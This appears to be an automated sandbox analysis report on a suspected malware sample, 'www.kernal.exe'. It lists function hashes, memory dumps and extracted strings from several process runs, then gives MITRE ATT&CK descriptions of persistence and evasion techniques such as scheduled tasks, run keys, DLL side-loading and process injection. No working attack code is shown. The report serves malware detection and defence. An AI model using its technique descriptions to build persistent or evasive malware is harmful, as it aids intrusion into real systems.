Instruction ID: e5235f91bae27136850214407969e44371851a7b68b3d27d529243b9dd342a64
Opcode Fuzzy Hash: bfeb219a6405351c823b1fef07946db963f64807dd7a75db5baad79a5da7ed0b
Instruction Fuzzy Hash: 25012025A0D7E20FF742AB3848A50B57FF09F9220070804BBE485C71E3DD4C59459352

Function 00007FFD34690B68 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2754795742.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f25eabb8842da7eec50ab04e675e94df0eb86e969f83b91442601908709625e
Instruction ID: 2e6562cc5dfa834b8dc25a2a3913531542a4c17c8b9d99cb2b04a2c12f0786cd
Opcode Fuzzy Hash: 6f25eabb8842da7eec50ab04e675e94df0eb86e969f83b91442601908709625e
Instruction Fuzzy Hash: 99E0ED21B14D1D4FEF90BBEC94592FDB2D1EB9C222B50017BD50DD3296DE6858418791

Non-executed Functions

Function 00007FFD346906FA Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

=L_^, xrefs: 00007FFD34690701
L_^ , xrefs: 00007FFD34690772
<L_^, xrefs: 00007FFD34690801
L_^", xrefs: 00007FFD3469077A

Memory Dump Source

Source File: 0000000C.00000002.2754795742.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID: <L_^$=L_^$L_^ $L_^"
API String ID: 0-1708329743
Opcode ID: df3847d11d597dd07fa1fb420cf3d27be7590ae8198a9d3b811563c88abebb4d
Instruction ID: d3d12008968f3b780bebae891f290c233cf5bd84da1820ae12781b551765f376
Opcode Fuzzy Hash: df3847d11d597dd07fa1fb420cf3d27be7590ae8198a9d3b811563c88abebb4d
Instruction Fuzzy Hash: 4B31EE7364C76147E6527BF8ACA20EF37D4DF5222D70890B2D2D8DE053EE2C244A9E45

Analysis Process: www.kernal.exePID: 6644, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD34690E80 Relevance: 1.2, Instructions: 1218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91192ddb5bf5997c5c1953f3f507e775f920ba05624dc16a5a1f84d9e786c00f
Instruction ID: 67acda2fe8d97d474f47d69011a09dc1426d1a553e20fe0bfbc4bcadf2967545
Opcode Fuzzy Hash: 91192ddb5bf5997c5c1953f3f507e775f920ba05624dc16a5a1f84d9e786c00f
Instruction Fuzzy Hash: 4332E271B18A594FEBA8EF68C4A97B977D2FF99300F50057DE04EC36D2DE68A8018741

Function 00007FFD34691C2D Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edfcbd58071264bceb318c5be910c803e412df09957ba9f5dd7c02b164a54d63
Instruction ID: 6511d7828ca5d0919ed3904b631693b21eb0081c04e1f6d6e270ea948d78c515
Opcode Fuzzy Hash: edfcbd58071264bceb318c5be910c803e412df09957ba9f5dd7c02b164a54d63
Instruction Fuzzy Hash: 3651DB60B0E6C54FE796AB7848B52A57FE1AF87216B1804FEE089C72A3DD5C5806C342

Function 00007FFD34691289 Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5612d0682331f5431abd2f06e41854a2ae00bf720d777d7fde2c772028f84cd3
Instruction ID: 9e4855fdb4120a6bbbba2e2b8a38aedef465326504c9fc7b670c36c2e443330b
Opcode Fuzzy Hash: 5612d0682331f5431abd2f06e41854a2ae00bf720d777d7fde2c772028f84cd3
Instruction Fuzzy Hash: 75E18071B18A5A4BEBA4FBB8C4A57B973D2FF99304F600579E04EC36C2DD68A8018741

Function 00007FFD34690BEE Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31def67207d7f0afcc8d377bed3e6672205dd2776a003159158c472203e69a09
Instruction ID: 02bf7a4b98f64e9b74531b0fa130a5a3d8d9b31fecda5dbda85e64977e5e0495
Opcode Fuzzy Hash: 31def67207d7f0afcc8d377bed3e6672205dd2776a003159158c472203e69a09
Instruction Fuzzy Hash: 21714A22B1DA9A0FE795EB6C98661F97BE1EF86210F4800BBD04DC3293DD6C6C068341

Function 00007FFD346904D0 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed7542d9dcc95be264de30ee588a498251a615c968de53d8472b4488bf5ffe27
Instruction ID: a56a2d5bc02d9c6cd3808b35d8f4482ec04949c60e7d2a89d578f68d0d534040
Opcode Fuzzy Hash: ed7542d9dcc95be264de30ee588a498251a615c968de53d8472b4488bf5ffe27
Instruction Fuzzy Hash: F231B921B1D9490FF798FB6C94AA2B9B7C2EF99315F1405BEE44EC32A3DD58AC418341

Function 00007FFD34690939 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 333bc3f62d1ffa0d345f7766a1ff008e19b8d0b10d112b95b879843666902df2
Instruction ID: 9bc2668563c4769e74aa30de1836ca18382ccfbb7b7b3ea8b4c7599d760a254f
Opcode Fuzzy Hash: 333bc3f62d1ffa0d345f7766a1ff008e19b8d0b10d112b95b879843666902df2
Instruction Fuzzy Hash: 60419171B18A9A4FEB94EBA8C4617EE77E1FFA9300FA00579D04DD3782DD3868018750

Function 00007FFD34690A81 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7d06b67beed00b6c5e682a339ea6e48fa6e8c85df289b577ce5661def7eb290
Instruction ID: 8fbc27763487d38a0bc085bbde3d87f2592802bf7a8dd3d3373489f1b9f7242a
Opcode Fuzzy Hash: e7d06b67beed00b6c5e682a339ea6e48fa6e8c85df289b577ce5661def7eb290
Instruction Fuzzy Hash: 7E21E112B1DE960BF7547AB888793BA77D1EF65301F1802BAE04DC32D3DD5C69018791

Function 00007FFD34691DE1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fc8a3b114df4ed12a4e4fb70f177eea4247211774e09750c05ef47e1c291a57
Instruction ID: 10531e87a6fd3ac98eb0e7ab60d36364747c3230d26448a95323592a2457b66d
Opcode Fuzzy Hash: 7fc8a3b114df4ed12a4e4fb70f177eea4247211774e09750c05ef47e1c291a57
Instruction Fuzzy Hash: C5012025A0D7E20FF742AB3848A51B57FF09F9320071804BBE4C5C72E3DD4C59459352

Function 00007FFD34690B68 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f25eabb8842da7eec50ab04e675e94df0eb86e969f83b91442601908709625e
Instruction ID: 2e6562cc5dfa834b8dc25a2a3913531542a4c17c8b9d99cb2b04a2c12f0786cd
Opcode Fuzzy Hash: 6f25eabb8842da7eec50ab04e675e94df0eb86e969f83b91442601908709625e
Instruction Fuzzy Hash: 99E0ED21B14D1D4FEF90BBEC94592FDB2D1EB9C222B50017BD50DD3296DE6858418791

Non-executed Functions

Function 00007FFD346906FA Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

<L_^, xrefs: 00007FFD34690801
=L_^, xrefs: 00007FFD34690701
L_^ , xrefs: 00007FFD34690772
L_^", xrefs: 00007FFD3469077A

Memory Dump Source

Source File: 0000000D.00000002.3347932285.00007FFD34690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34690000_www.jbxd

Similarity

API ID:
String ID: <L_^$=L_^$L_^ $L_^"
API String ID: 0-1708329743
Opcode ID: df3847d11d597dd07fa1fb420cf3d27be7590ae8198a9d3b811563c88abebb4d
Instruction ID: d3d12008968f3b780bebae891f290c233cf5bd84da1820ae12781b551765f376
Opcode Fuzzy Hash: df3847d11d597dd07fa1fb420cf3d27be7590ae8198a9d3b811563c88abebb4d
Instruction Fuzzy Hash: 4B31EE7364C76147E6527BF8ACA20EF37D4DF5222D70890B2D2D8DE053EE2C244A9E45

Analysis Process: www.kernal.exePID: 1364, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD34670E80 Relevance: 1.2, Instructions: 1222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ec9b0e2b8dad8cac8b8f23e1c998244c03d7f1546b49e3aa0fa88eab07e644d
Instruction ID: 8e1d7efde4ff4b27345b5dab32fcff2d4d98a183ff522efc970d3690d6794856
Opcode Fuzzy Hash: 5ec9b0e2b8dad8cac8b8f23e1c998244c03d7f1546b49e3aa0fa88eab07e644d
Instruction Fuzzy Hash: 4132A430B18A594FEB64FB6884A97B97BD2FF99304F5445BDE04EC32D2DE2CA8418741

Function 00007FFD34671C2D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 788da2166d77fafa4b32b69d24ba157e6dfff9ff592c04bc2e2993a4181d165e
Instruction ID: 3bbd1837879e22f05a97a055fcfcf890c44f35ecada26067a7000d61f583a51c
Opcode Fuzzy Hash: 788da2166d77fafa4b32b69d24ba157e6dfff9ff592c04bc2e2993a4181d165e
Instruction Fuzzy Hash: 6151AD60B1E6C94FE796ABB848B52A57FD5EF87219B0804FFE089C7293DD5C5806C342

Function 00007FFD34670E69 Relevance: 1.0, Instructions: 994COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ae959be53f1f181570175c115f79000681d76aa01c1392178f5a7ae16beff80
Instruction ID: 2dc9b9e166e649beccc4b7d8423d2079e0a2ce75fa1b32a9dc0106d62cb786b9
Opcode Fuzzy Hash: 1ae959be53f1f181570175c115f79000681d76aa01c1392178f5a7ae16beff80
Instruction Fuzzy Hash: FFF17230B18A598FEB65FBB884A97B977D2EF99304F5440B9E04EC32D7DD2DA8018741

Function 00007FFD34670BEE Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 450ad726fe980e574c42e1484f387e3b609045360f707bb866af2e955a44084f
Instruction ID: c5f7161ee13294aa0061408a6e8d70343c153ec86c1b3a710007bbda631cf06b
Opcode Fuzzy Hash: 450ad726fe980e574c42e1484f387e3b609045360f707bb866af2e955a44084f
Instruction Fuzzy Hash: 28711821B1DA9A0FE795EB6C98652F97BE1EF86210F0440BAD54DC3293DD2CAC428391

Function 00007FFD346704D0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bffc3a5ba46ff6c9b329aff8a7230e5923a3149f71f566a86932cdff429d8d5b
Instruction ID: 1061c1767fc73597215c3e4b904671ce6ad41f8fada3f2a4d656ad34c7e0b1eb
Opcode Fuzzy Hash: bffc3a5ba46ff6c9b329aff8a7230e5923a3149f71f566a86932cdff429d8d5b
Instruction Fuzzy Hash: 9631CB21B1DA494FE798FB6C846A6B9BBC2EF99315F0405BEE44EC3393DD58AC018341

Function 00007FFD34670939 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2377344350f822f51b5a9e86187ba1c3ec4bbf8ec929a87759f685e5aebadc0a
Instruction ID: 97092dcfc953829739602e5dd55b77a8457799f9be428a83a8ea53bb006ae3eb
Opcode Fuzzy Hash: 2377344350f822f51b5a9e86187ba1c3ec4bbf8ec929a87759f685e5aebadc0a
Instruction Fuzzy Hash: E4318030B18A5E8FEB94EBA8C8657EEBBE1FF99304F504579D049D3286DD3CA8018750

Function 00007FFD34670A81 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d5adf11187a9e18419c685b3f47a3e067ac6148aa7dc4153a93628a71101fc
Instruction ID: 1ce7008b1733382715707c693f4deb987b28f63d36b9546bb0d2d86e051a65f3
Opcode Fuzzy Hash: 58d5adf11187a9e18419c685b3f47a3e067ac6148aa7dc4153a93628a71101fc
Instruction Fuzzy Hash: 7A21A312B1CF964BF7947AB888793BA7BD1EF65701F14417AE04DC32D3DD18A9018751

Function 00007FFD34671DE1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbd5951284d523e8d343d72ca619ab5dcf88297f57640886cf822b99fa78cb46
Instruction ID: 829325ede48049a4cfb4060250c7c27e5e3ba4332279a2c62405388c6d1c5aec
Opcode Fuzzy Hash: bbd5951284d523e8d343d72ca619ab5dcf88297f57640886cf822b99fa78cb46
Instruction Fuzzy Hash: F4012B21A0DBE14FE742AB380CA50F57FF09F92200B0844BBE889CB2E3DD0C99458752

Function 00007FFD34670B68 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27dcd5e927620e9f8067c263ebc2578f6b08e41eb7ce420191e1c96daec18649
Instruction ID: 7d6fcc0b5753ad1483816a80e492e53963f76da329e93b59938d288858cfb89e
Opcode Fuzzy Hash: 27dcd5e927620e9f8067c263ebc2578f6b08e41eb7ce420191e1c96daec18649
Instruction Fuzzy Hash: C1E0ED61B14D1D4FEF90BBEC94593FDA6D1EB9C212B10017BD60DD3296DE2858418791

Non-executed Functions

Function 00007FFD346706FA Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

N_^ , xrefs: 00007FFD34670772
<N_^, xrefs: 00007FFD34670801
N_^", xrefs: 00007FFD3467077A
=N_^, xrefs: 00007FFD34670701

Memory Dump Source

Source File: 0000000E.00000002.3945876977.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd34670000_www.jbxd

Similarity

API ID:
String ID: <N_^$=N_^$N_^ $N_^"
API String ID: 0-2225354186
Opcode ID: 9ef140ee2c8e00632371b116cc19114dc6a4a7783490b19cf6f1067f13ce9c2b
Instruction ID: 7db09cea1a72b9c4ad8012e1c5b453d86585cb902c812ab9b0b2eff778c8e6e3
Opcode Fuzzy Hash: 9ef140ee2c8e00632371b116cc19114dc6a4a7783490b19cf6f1067f13ce9c2b
Instruction Fuzzy Hash: B331E873A4D2614BE3227BF8ACB20E73FD4DF5222D70840B6C2D8DA043ED2C64469A57

Analysis Process: www.kernal.exePID: 3488, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD34660E80 Relevance: 1.2, Instructions: 1224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f4ff6f986f2cc0a5d63cb3355937c46f12162311f9e8b2d86437c62df89afa
Instruction ID: d15ad984b1d69166038f13ecf30fce17ffc965ef36f77009a6160fdbfbecec78
Opcode Fuzzy Hash: b3f4ff6f986f2cc0a5d63cb3355937c46f12162311f9e8b2d86437c62df89afa
Instruction Fuzzy Hash: EE32B360B1CA594FE7A4EB6884A92BDB7D2FFA9314F44057DE44EC32D6DE2CA8018741

Function 00007FFD34661C2D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a211ccec96248e8c9fd350a151019c9bd117ffa1c574dd314c220e7a3a9130c7
Instruction ID: da29c4d3f2b8d3a2f51fa38469a9bf487d66afdf170ec97fd1aa07cdfa62c8d2
Opcode Fuzzy Hash: a211ccec96248e8c9fd350a151019c9bd117ffa1c574dd314c220e7a3a9130c7
Instruction Fuzzy Hash: 6851BE60B1E6C54FE796AB7848B52A97FD5DF87229B0804FEE0C9C7193DD5C5806C342

Function 00007FFD34660E69 Relevance: 1.0, Instructions: 994COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442b5291ec2e2971f18ae3dd03bbaea47d5cf5d25db735ad1e20afa250352281
Instruction ID: 3161ea8a6cbcebdb95ab61eafebe9266e84f5bb2e04a738e1d0a4e44cea2c53f
Opcode Fuzzy Hash: 442b5291ec2e2971f18ae3dd03bbaea47d5cf5d25db735ad1e20afa250352281
Instruction Fuzzy Hash: 97F17020B1CA594FE7A4FBB884A97BDB6D2EFA9310F540579E44EC32D7DD2CA8018741

Function 00007FFD34660BEE Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b021f4935b5f5e7a2d0d14102b9e5e1b8cabe6492e03c3c69c3816bd67b5016
Instruction ID: 0b05c469159a61992fdbf0edcacca2232120e8ac571726cd33767be0642c8f80
Opcode Fuzzy Hash: 2b021f4935b5f5e7a2d0d14102b9e5e1b8cabe6492e03c3c69c3816bd67b5016
Instruction Fuzzy Hash: E9713921B0DA9A0FE755EB6C98762F97BE1EF86220F0401BED44DC3293DE2C6C468351

Function 00007FFD346604D0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c539727d56db278cdbd0875fc469bf64f549408b74d17d6fbf817a3a1cb86506
Instruction ID: 4f723f28c304b4c49ee4e55a4ecc325e24d266c394aef4ec547cdd84c8a4485a
Opcode Fuzzy Hash: c539727d56db278cdbd0875fc469bf64f549408b74d17d6fbf817a3a1cb86506
Instruction Fuzzy Hash: BC31B521B1DA490FE798FB6C946A6BDB6C2EF99315F0405BEE44EC3293DD68AC018341

Function 00007FFD34660939 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 737870d0efe98b991a39faa68b5f7a9b92e07e06d9e17ebe1eb839ccb2a0b17b
Instruction ID: 817f74c525d1b6ed4880788c52e2d2837785632f43c0aaf5fd616a5eae098a6d
Opcode Fuzzy Hash: 737870d0efe98b991a39faa68b5f7a9b92e07e06d9e17ebe1eb839ccb2a0b17b
Instruction Fuzzy Hash: 8F31AD71B1CA5A4FEB54EBA8C4656FEBBE2FFA9310F500579D009D3286CE3CA8058751

Function 00007FFD34660A81 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f248962da6f4450cdf9b66e7bb9c1327f6c38e7d981f7b17570837f4d91aae8a
Instruction ID: 300fa62ddb3218983cac67da36d926384475b8ce5647755b14b96e19c9343082
Opcode Fuzzy Hash: f248962da6f4450cdf9b66e7bb9c1327f6c38e7d981f7b17570837f4d91aae8a
Instruction Fuzzy Hash: C721D312B1CE564BF794BAB888693BA67D6EF65751F14027AE04DC32D3DE1C68018741

Function 00007FFD34661DE1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ac7f4becc6be146bcd622759c8eeaa181ad8d7867fe7bf3879ab26f152d5fb9
Instruction ID: 916e6b11ead1a8610e45785ea76e8bab126e611122a9db0cd551590996d39d28
Opcode Fuzzy Hash: 5ac7f4becc6be146bcd622759c8eeaa181ad8d7867fe7bf3879ab26f152d5fb9
Instruction Fuzzy Hash: 53012B61A0D7E10FE742AF3808A50B57FF09F92210B0804BBE8C8CB1E7DD1C9A458352

Function 00007FFD34660B68 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1f6c95111c248fca9418d2931cadd09dbf2718c64339f43a95825439c5ffd1a
Instruction ID: 4732a6cd0cad442b016651717255b75edc240221bf477b95b07ab6fa6224fd9b
Opcode Fuzzy Hash: c1f6c95111c248fca9418d2931cadd09dbf2718c64339f43a95825439c5ffd1a
Instruction Fuzzy Hash: 56E0ED21B14D1D4FEF90FBEC94593FDA2D2EB9C222B10017BD60DD3296DE6858458791

Non-executed Functions

Function 00007FFD346606FA Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

=O_^, xrefs: 00007FFD34660701
O_^ , xrefs: 00007FFD34660772
<O_^, xrefs: 00007FFD34660801
O_^", xrefs: 00007FFD3466077A

Memory Dump Source

Source File: 0000000F.00000002.4551198110.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34660000_www.jbxd

Similarity

API ID:
String ID: <O_^$=O_^$O_^ $O_^"
API String ID: 0-430385544
Opcode ID: 60e8b1bc961938986a5ab4b140c63afa808e10672d8fcd26b91fcfd7f09b35f2
Instruction ID: 24d2efbc2a1c04aacd444b0709de2c25f4833015b0be30922cb5494949f5d77d
Opcode Fuzzy Hash: 60e8b1bc961938986a5ab4b140c63afa808e10672d8fcd26b91fcfd7f09b35f2
Instruction Fuzzy Hash: 2931EC73A4D3614BE6627BF8ECA20E73BD4DF5222E70840B6D1DD9E243ED2C24469A45

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

